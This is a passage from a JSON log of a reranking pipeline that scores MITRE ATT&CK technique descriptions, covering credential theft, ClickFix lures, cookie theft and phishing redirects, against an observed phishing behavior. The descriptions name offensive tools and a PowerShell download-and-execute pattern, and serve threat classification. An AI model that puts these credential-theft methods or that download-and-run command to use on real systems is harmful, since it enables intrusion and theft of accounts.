"ATT&CK technique: T1558.005 Ccache Files\nDescription: Adversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials. The /etc/krb5.conf configuration file and the KRB5CCNAME environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using kinit, which obtains a Ticket-Granting-Ticket (TGT) for the principal; klist, which lists obtained tickets currently held in the credentials cache; and other built-in binaries. Adversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform Pass the Ticket attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform Privilege Escalation. Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further Lateral Movement. On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and extract TGTs or Service Tickets via lower-level APIs.\nTactics: credential access\nPlatforms: Linux, macOS" + }, + { + "id": "T1649", + "text": "ATT&CK technique: T1649 Steal or Forge Authentication Certificates\nDescription: Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts. Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files), misplaced certificate files (i.e. Unsecured Credentials), or directly from the Windows certificate store via various crypto APIs. With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names. Abusing certificates for authentication credentials may enable other behaviors such as Lateral Movement. Certificate-related misconfigurations may also enable opportunities for Privilege Escalation, by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable Persistence via stealing or forging certificates that can be used as Valid Accounts for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts. Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish Persistence by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates). Adversaries may also target certificates and related services in order to access other forms of credentials, such as Golden Ticket ticket-granting tickets (TGT) or NTLM plaintext.\nTactics: credential access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1003.004", + "text": "ATT&CK technique: T1003.004 LSA Secrets\nDescription: Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts. LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets. LSA secrets can also be dumped from memory. Reg can be used to extract from the Registry. Mimikatz can be used to extract secrets from memory.\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1204.004", + "text": "ATT&CK technique: T1204.004 Malicious Copy and Paste\nDescription: An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a Command and Scripting Interpreter. One such strategy is \"ClickFix,\" in which adversaries present users with seemingly helpful solutions—such as prompts to fix errors or complete CAPTCHAs—that instead instruct the user to copy and paste malicious code. Malicious websites, such as those used in Drive-by Compromise, may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine. Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the \"ClickFix\" strategy. Tricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1555.004", + "text": "ATT&CK technique: T1555.004 Windows Credential Manager\nDescription: Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults). The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of Credentials from Web Browsers, Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker. Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials. Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager. Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI. Password recovery tools may also obtain plain text passwords from the Credential Manager.\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1558.004", + "text": "ATT&CK technique: T1558.004 AS-REP Roasting\nDescription: Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages. Preauthentication offers protection against offline Password Cracking. When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password. For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline Password Cracking attacks similarly to Kerberoasting and expose plaintext credentials. An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like PowerShell with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1659", + "text": "ATT&CK technique: T1659 Content Injection\nDescription: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems. Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\nTactics: command and control, initial access\nPlatforms: Linux, Windows, macOS" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1539", + "score": 0.99609375, + "rank": 0 + }, + { + "item_id": "T1550.004", + "score": 0.99609375, + "rank": 1 + }, + { + "item_id": "T1111", + "score": 0.99609375, + "rank": 2 + }, + { + "item_id": "T1589.001", + "score": 0.96484375, + "rank": 3 + }, + { + "item_id": "T1056", + "score": 0.65234375, + "rank": 4 + }, + { + "item_id": "T1557", + "score": 0.65234375, + "rank": 5 + }, + { + "item_id": "T1040", + "score": 0.65234375, + "rank": 6 + }, + { + "item_id": "T1598.003", + "score": 0.53125, + "rank": 7 + }, + { + "item_id": "T1621", + "score": 0.37890625, + "rank": 8 + }, + { + "item_id": "T1056.003", + "score": 0.37890625, + "rank": 9 + }, + { + "item_id": "T1020", + "score": 0.361328125, + "rank": 10 + }, + { + "item_id": "T1185", + "score": 0.333984375, + "rank": 11 + }, + { + "item_id": "T1556.006", + "score": 0.173828125, + "rank": 12 + }, + { + "item_id": "T1056.001", + "score": 0.1640625, + "rank": 13 + }, + { + "item_id": "T1606.001", + "score": 0.1123046875, + "rank": 14 + }, + { + "item_id": "T1041", + "score": 0.10693359375, + "rank": 15 + }, + { + "item_id": "T1212", + "score": 0.06787109375, + "rank": 16 + }, + { + "item_id": "T1078", + "score": 0.06005859375, + "rank": 17 + }, + { + "item_id": "T1606", + "score": 0.056396484375, + "rank": 18 + }, + { + "item_id": "T1187", + "score": 0.050537109375, + "rank": 19 + }, + { + "item_id": "T1059", + "score": 0.047607421875, + "rank": 20 + }, + { + "item_id": "T1563", + "score": 0.0419921875, + "rank": 21 + }, + { + "item_id": "T1552", + "score": 0.0419921875, + "rank": 22 + }, + { + "item_id": "T1048", + "score": 0.029296875, + "rank": 23 + }, + { + "item_id": "T1204", + "score": 0.029296875, + "rank": 24 + }, + { + "item_id": "T1567", + "score": 0.0203857421875, + "rank": 25 + }, + { + "item_id": "T1556.008", + "score": 0.0203857421875, + "rank": 26 + }, + { + "item_id": "T1555", + "score": 0.0167236328125, + "rank": 27 + }, + { + "item_id": "T1555.003", + "score": 0.013427734375, + "rank": 28 + }, + { + "item_id": "T1589", + "score": 0.0125732421875, + "rank": 29 + }, + { + "item_id": "T1550", + "score": 0.0118408203125, + "rank": 30 + }, + { + "item_id": "T1556", + "score": 0.01043701171875, + "rank": 31 + }, + { + "item_id": "T1528", + "score": 0.00921630859375, + "rank": 32 + }, + { + "item_id": "T1557.004", + "score": 0.0086669921875, + "rank": 33 + }, + { + "item_id": "T1098.005", + "score": 0.00762939453125, + "rank": 34 + }, + { + "item_id": "T1056.004", + "score": 0.006744384765625, + "rank": 35 + }, + { + "item_id": "T1566.004", + "score": 0.006317138671875, + "rank": 36 + }, + { + "item_id": "T1573", + "score": 0.005950927734375, + "rank": 37 + }, + { + "item_id": "T1552.008", + "score": 0.005584716796875, + "rank": 38 + }, + { + "item_id": "T1102", + "score": 0.00408935546875, + "rank": 39 + }, + { + "item_id": "T1684", + "score": 0.00384521484375, + "rank": 40 + }, + { + "item_id": "T1550.001", + "score": 0.00384521484375, + "rank": 41 + }, + { + "item_id": "T1586", + "score": 0.00384521484375, + "rank": 42 + }, + { + "item_id": "T1078.003", + "score": 0.00384521484375, + "rank": 43 + }, + { + "item_id": "T1003", + "score": 0.00360107421875, + "rank": 44 + }, + { + "item_id": "T1098", + "score": 0.0031890869140625, + "rank": 45 + }, + { + "item_id": "T1056.002", + "score": 0.0028076171875, + "rank": 46 + }, + { + "item_id": "T1534", + "score": 0.0028076171875, + "rank": 47 + }, + { + "item_id": "T1558.004", + "score": 0.0028076171875, + "rank": 48 + }, + { + "item_id": "T1005", + "score": 0.002716064453125, + "rank": 49 + }, + { + "item_id": "T1110.004", + "score": 0.002471923828125, + "rank": 50 + }, + { + "item_id": "T1113", + "score": 0.0023345947265625, + "rank": 51 + }, + { + "item_id": "T1659", + "score": 0.0023345947265625, + "rank": 52 + }, + { + "item_id": "T1217", + "score": 0.0021820068359375, + "rank": 53 + }, + { + "item_id": "T1555.004", + "score": 0.0020599365234375, + "rank": 54 + }, + { + "item_id": "T1608.005", + "score": 0.0019989013671875, + "rank": 55 + }, + { + "item_id": "T1598", + "score": 0.0017547607421875, + "rank": 56 + }, + { + "item_id": "T1677", + "score": 0.00150299072265625, + "rank": 57 + }, + { + "item_id": "T1114.002", + "score": 0.00136566162109375, + "rank": 58 + }, + { + "item_id": "T1033", + "score": 0.00128936767578125, + "rank": 59 + }, + { + "item_id": "T1598.002", + "score": 0.00128936767578125, + "rank": 60 + }, + { + "item_id": "T1003.004", + "score": 0.00128936767578125, + "rank": 61 + }, + { + "item_id": "T1566", + "score": 0.00113677978515625, + "rank": 62 + }, + { + "item_id": "T1558.005", + "score": 0.001068115234375, + "rank": 63 + }, + { + "item_id": "T1115", + "score": 0.00099945068359375, + "rank": 64 + }, + { + "item_id": "T1649", + "score": 0.000942230224609375, + "rank": 65 + }, + { + "item_id": "T1584.006", + "score": 0.000804901123046875, + "rank": 66 + }, + { + "item_id": "T1213.003", + "score": 0.00070953369140625, + "rank": 67 + }, + { + "item_id": "T1683.001", + "score": 0.00070953369140625, + "rank": 68 + }, + { + "item_id": "T1598.001", + "score": 0.000606536865234375, + "rank": 69 + }, + { + "item_id": "T1213.005", + "score": 0.0005035400390625, + "rank": 70 + }, + { + "item_id": "T1598.004", + "score": 0.0004730224609375, + "rank": 71 + }, + { + "item_id": "T1597.002", + "score": 0.0004444122314453125, + "rank": 72 + }, + { + "item_id": "T1204.004", + "score": 0.00040435791015625, + "rank": 73 + }, + { + "item_id": "T1566.002", + "score": 0.0003147125244140625, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 27937 + } + }, + "evidence_sha256": "64d467736644ed30a84b9d3f6dc0cd03f3967fc5534ba376b8aa422c15f515ab" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 866.8, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: the victim is either redirected to a different page or allowed to continue through to the page" + }, + "items": [ + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: It uses *window.location.replace()* to redirect the user to the phishing site, as shown in Figure 2." + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS\nLabeled report example: Click the URL link." + }, + { + "id": "T1189", + "text": "ATT&CK technique: T1189 Drive-by Compromise\nDescription: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including: * A legitimate website is compromised, allowing adversaries to inject malicious code * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising) * Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting) Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser. Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered. Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS\nLabeled report example: When a victim browses to a website that matches one of these patterns, JavaScript code will be injected from the threat actor’s domain https://securebankingapp[.]com/." + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: The document contains a link leading to a fake Microsoft authentication page designed to harvest user credentials." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: In the recent past, these domains resolved to the following IP addresses, each of which hosted newly registered domains lexically close to legitimate domains and possibly connected to the skimmer attacks." + }, + { + "id": "T1586", + "text": "ATT&CK technique: T1586 Compromise Accounts\nDescription: Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: 2.Exploitation I (Optional).Both threat actor groups used a non-malicious PDF, luring the user to click on the contained link in order to download the maldoc." + }, + { + "id": "T1185", + "text": "ATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows\nLabeled report example: | T1185 | Man in the Browser |" + }, + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: The attacker serves JavaScript using legitimate-looking domains in an attempt to make the traffic look benign." + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: | a=1 | Download web injects |" + }, + { + "id": "T1608", + "text": "ATT&CK technique: T1608 Stage Capabilities\nDescription: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications. Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site. * Staging web resources for a link target to be used with spearphishing. * Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer. * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).\nTactics: resource development\nPlatforms: PRE\nLabeled report example: This campaign uses Discord services to form a URL to host malicious payloads as follows: *https://cdn.discordapp.com/attachments/ChannelID/AttachmentID/filename.exe*" + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site." + }, + { + "id": "T1539", + "text": "ATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: | T1539 | Steal Web Session Cookie |" + }, + { + "id": "T1491", + "text": "ATT&CK technique: T1491 Defacement\nDescription: Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages.\nTactics: impact\nPlatforms: ESXi, IaaS, Linux, Windows, macOS\nLabeled report example: These attacks are used for everything from data theft to site defacement to distribution of malware." + }, + { + "id": "T1614", + "text": "ATT&CK technique: T1614 System Location Discovery\nDescription: Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from System Location Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings. Windows API functions such as GetLocaleInfoW can also be used to determine the locale of the host. In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance. Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.\nTactics: discovery\nPlatforms: IaaS, Linux, Windows, macOS\nLabeled report example: The Default\\_send function is responsible for collecting the URL of the infected page and grabbing all the inputs provided by the victim who is shopping on the compromised website." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: 